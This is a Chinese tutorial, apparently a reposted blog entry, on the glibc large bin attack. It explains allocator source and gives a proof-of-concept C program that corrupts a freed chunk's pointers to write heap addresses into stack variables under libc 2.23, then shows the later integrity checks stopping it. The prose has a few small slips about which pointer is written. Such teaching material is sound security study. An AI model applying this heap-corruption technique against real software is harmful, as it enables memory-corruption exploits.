ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

large bin attack

2022-06-16 09:34:22  阅读:238  来源: 互联网

标签:bin malloc fwd bk large attack fd nextsize stack


large bin attack

large bin介绍

large chunk

large chunk指的整个chunk的大小(包括chunk头部分)大于等于1024(0x400)字节的chunk。

一个large chunk大概的构造是这样的:

prev_size size
fd bk
fd_nextsize bk_nextsize
... ...

large bin

free状态的large chunk就是放在large bin中管理的

large bin链表总共有63个链表

bins 中占据 64 到 126 这个范围的位置

index 范围
64 [0x400,0x440)
65 [0x440,0x480)
... ...
... ...
126 >0x40000

为什么会多出fd_nextsize、bk_nextsize两个指针域?

这是因为largebin回收的chunk范围很大,而且同一个链表的节点的大小可以不同,跟fastbin或者unsortedbin还是有很大的区别,管理的范围广了,就需要一套高效的管理机制,因此增加两个指针域,通过提升维度加强管理。(清楚large bin不仅是一个双链表,而且是个二维的双链表)

示范代码:

#include<stdio.h>
#include<stdlib.h>
int main(){

        size_t *p1 = malloc(0x430);
        malloc(0x10);//防止合并
        size_t *p2 = malloc(0x440);
        malloc(0x10);
        size_t *p3 = malloc(0x450);
        malloc(0x10);
        int * a =malloc(0x430);
        malloc(0x10);
        int * b =malloc(0x440);
        malloc(0x10);
        int * c =malloc(0x450);
        malloc(0x10);

        free(p1);
        free(p2);
        free(p3);
        free(a);
        free(b);
        free(c);
        malloc(0x1000);
}

将代码编译后可以进行调试,我画了这张图,代表了释放如上图的6个chunk后(这些chunk如若free掉会先放入unsorted bin里面,在下一次的malloc时,过一遍分配检查机制,如果没有割裂分配出去或者没有合并,便会放入对应large bin里面),在链表的情况。

image-20220612164530587

作为链表中的每一个节点,large bin有fd和bk,可以看到fd可以把每一个节点都串起来,但是显然bk却做不到,但是可以看出副链还是双链表结构,可以往下延伸叠加。large bin的fd_nextsize、bk_nextsize用于主链的连接,图中可以看到一条清晰的横向双链表。

我们可以把主链看成横向链,副链看成纵向链。横纵交替就是一张二维的链表。

再简单来说,在副链上,也就是纵向链,fd和bk连接的节点都是大小一样;而横向主链fd_nextsize和bk_nextsize连接的节点都是不一样大小的。fd_nextsize指针指向的是chunk双向链表中下一个大小不同的chunk,bk_nextsize指向的是chunk双向链表中前一个大小不同的chunk。

源码分析

为了更好理解是如何将chunk从unsortedbin放进largebin的,下面进行源码分析

在int_malloc的源代码里(glibc 2.33)关于对指针恶意修改的检测,2.29以后才有,当然这是后话。

 if (in_largebin_range (size)) //判断是否属于largebin 
            {
              victim_index = largebin_index (size); //寻找当前size在largebin中的
              bck = bin_at (av, victim_index); //寻找main_arena
              fwd = bck->fd;//size最大的chunk的地址
 
              /* maintain large bins in sorted order */
              if (fwd != bck) //如果表不为空
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
 < (unsigned long) chunksize_nomask(bck->bk))//bck->bk是当前最小的chunk,如果size比它还小,那么直接插入到表尾
                    {//总的来说,就是链表的插入操作
                      fwd = bck;
                      bck = bck->bk;
 
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

                    }
                  else//如果不是最小,那就由小到大找到第一个比它小的插在它的前面
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }
 
                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;//如果说是已经存在相同大小的chunk1,就将fwd赋为chunk1的下一个chunk2
                      else
                        {//插入到fwd的chunk的前面
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          
                         /*libc2.29之后才有该检查 
                         if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这个检查好像和unlink一样,都是检查fwd的指针有没有被恶意修改
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");*/
                          
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;//要作为纵向链表的,fwd就是chunk2,bck就是chunk1;要做为横向链表的,fwd->bk是前一个chunk或者main_arene,正常情况下面的条件势必不符合
                      /* libc2.29之后才有该检查
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同样是纵向检查指针有没有被恶意修改*/
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;//如果表为空,那么指针自指
            }
 
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;//不管到底有没有重复,都进行一次纵向链接,保证一些指针为NULL

largebin attack利用方式(libc-2.23)

以上的内容清楚了解后,我们才可以进一步研究large bin attack的利用方式

用以下一道程序浅显展示一下该漏洞利用方式

程序名lba.c

#include<stdio.h>
#include<stdlib.h>
int main()
{
   	unsigned long stack_var1 = 0;
	unsigned long stack_var2 = 0;

	fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

	unsigned long *p1 = malloc(0x320);
	malloc(0x20);
	unsigned long *p2 = malloc(0x400);
	malloc(0x20);
	unsigned long *p3 = malloc(0x400);
	malloc(0x20);
	

	free(p1);
	free(p2);

	void* p4 = malloc(0x90);
	
	free(p3);
	
	p2[-1] = 0x3f1;
	p2[0] = 0;
	p2[1] = (unsigned long)(&stack_var1 - 2);
	p2[2] = 0;
	p2[3] = (unsigned long)(&stack_var2 - 4);
	
	malloc(0x90);
	fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
	fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

	return 0;
}

编译

gcc -no-pie -g lba.c -o lba

更换libc库为2.23

patchelf --set-interpreter /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./lba

gdb调试

在程序下断点,运行可以得到这两个指针的地址

stack_var1 (0x7fffffffe498): 0
stack_var2 (0x7fffffffe4a0): 0

继续,在free完p3后,内存回收情况如下(注意根据unsortedbin先进先出的原则,前一步的malloc会已经将p1分割,所以malloc暂时是不会分割p2和p3的):

image-20220614150625305

由于在free掉p2后没有清空指针,这样就可以uaf

继续利用

//源码
	p2[-1] = 0x3f1;
	p2[0] = 0;
	p2[1] = (unsigned long)(&stack_var1 - 2);
	p2[2] = 0;
	p2[3] = (unsigned long)(&stack_var2 - 4);

修p2指针指向的一些值,此时的p2还是free状态

pwndbg> x/10gx p2-2
0x405360:	0x0000000000000000	0x00000000000003f1
0x405370:	0x0000000000000000	0x00007fffffffe488
0x405380:	0x0000000000000000	0x00007fffffffe480
0x405390:	0x0000000000000000	0x0000000000000000
0x4053a0:	0x0000000000000000	0x0000000000000000

根据largebin的节点的构造

我们先把大小尺寸改为0x3f1

然后往p2的bk写入&stack_var1 - 2(0x7fffffffe498-0x10=0x00007fffffffe488)

往p2的bk_nextsize写入&stack_var1 - 4(0x7fffffffe4a0-0x20=0x00007fffffffe480)

这是什么意思呢?下图很好的画了出来

img

也就是说当前P2的bk指向的是一个以stack_var1_addr - 0x10为头指针的chunk,这里记做fake_chunk1,那么就意味着stack_var1_addr是作为这个fake_chunk1的fd指针。那么此时P2 --> bk --> fd就是stack_var1_addr

P2的fd_nextsize指向的是一个以stack_var2_addr为头指针的chunk,这里记做fake_chunk2,那么就意味着stack_var2_addr是作为这个fake_chunk2的fd_nextsize指针。那么此时P2 --> bk_nextsize --> fd_nextsize就是stack_var2_addr

再进入下一步 malloc(0x90)

此时malloc机制会尝试把p3放入largebin中,也就是会进入上面源码分析中的那段malloc源码

此时我们已经构造好chunk内的指针,看接下来发生的事情

首先看是否为最小

if ((unsigned long) (size)
 < (unsigned long) chunksize_nomask(bck->bk))

明显不是,之后程序会先拿p3去跟p2进行比较,看是否小于p2也就是链头的size

 while ((unsigned long) size < chunksize_nomask (fwd))

也不是,进入下一个相等的比较

 if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))

由于p2的size已经被我们提前改为0x3f1,所以也不会相等

那就进入大于的情况,就是进入如下代码

 {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize; 
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;

进行同等替换,会发生如下赋值:

{                         p3->fd_nextsize = p2;	
                          p3->bk_nextsize = p2->bk_nextsize;//p3->bk_nextsize=stack_var2_addr-0x20
                          p2->bk_nextsize = p3;//stack_var2_addr=p3
                          p3->bk_nextsize->fd_nextsize = p3;
                        }
                      bck = p2->bk;//stack_var1_addr-0x10

关键在于 p2->bk_nextsize = p3

这将让stack_var2_addr=p3也就是stack_var2存放了p3的头指针

继续往下

          p3->bk = bck;//p3->bk = stack_var1_addr-0x10
          p3->fd = fwd;
          fwd->bk = p3;
          bck->fd = p3;//stack_var1_addr=p3 

关键在于bck->fd = p3

这一步就让stack_var1_addr=p3 ,就是stack_var1存放了p3的头指针

程序最后也确实打印出来两个指针分别存放着的p3的头指针地址

stack_var1 (0x7fffffffe498): 0x4057a0
stack_var2 (0x7fffffffe4a0): 0x4057a0

libc2.29之后的检查

在libc2.29之后会加入检查代码,实现对指针恶意修改的检测,我们如果照上述的利用方式将会失效

我们可以实践一下,注意绕过tcache,修改一下实验代码

root@ubuntu20:~/lba# cat lba.c 
#include<stdio.h>
#include<stdlib.h>
int main()
{
   	unsigned long stack_var1 = 0;
	unsigned long stack_var2 = 0;

	fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    	fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
	
	unsigned a[7];
	unsigned b[7];
	for(int i=0;i<7;i++){
		a[i]=malloc(0x320);
		b[i]=malloc(0x400);
	}

	unsigned long *p1 = malloc(0x320);
	malloc(0x20);
	unsigned long *p2 = malloc(0x400);
	malloc(0x20);
	unsigned long *p3 = malloc(0x400);
	malloc(0x20);
	
	for(int i=0;i<7;i++){
               free(a[i]);
               free(b[i]);
        }


	free(p1);
	free(p2);

	void* p4 = malloc(0x90);
	
	free(p3);
	
	p2[-1] = 0x3f1;
	p2[0] = 0;
	p2[1] = (unsigned long)(&stack_var1 - 2);
	p2[2] = 0;
	p2[3] = (unsigned long)(&stack_var2 - 4);
	
	malloc(0x90);
	fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
	fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

	return 0;
}

编译

root@ubuntu20:~/lba#  gcc -no-pie -g lba.c -o lba

查看libc版本为2.31

root@ubuntu20:~/lba# ldd lba
	linux-vdso.so.1 (0x00007ffff7fce000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dcd000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
root@ubuntu20:~/lba# ll /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Feb 24 19:42 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.31.so*

依照2.23的利用方式,我们再把p3放进largebin时将不是一帆风顺,而是会面临两次检查

检查1

 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

fwd是p2,所以fwd->bk_nextsize->fd_nextsize=p2->bk_nextsize->fd_nextsize = stack_var2_addr

要让stack_var2_addr与fwd(p2)进行比较,显然是不相等,程序就会报错

检查2

 if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

bck = p2->bk=stack_var1_addr-0x10,所以bck->fd=stack_var1_addr

要让stack_var1_addr 与fwd(p2)进行比较,显然是不相等,程序报错,如果前面的检查1就报错,程序就到达不了这里

我们把程序运行,结果不出意料

root@ubuntu20:~/lba# ./lba 
stack_var1 (0x7fffffffe480): 0
stack_var2 (0x7fffffffe488): 0

malloc(): largebin double linked list corrupted (nextsize)
Aborted (core dumped)

标签:bin,malloc,fwd,bk,large,attack,fd,nextsize,stack
来源: https://www.cnblogs.com/damoxilai/p/16380750.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有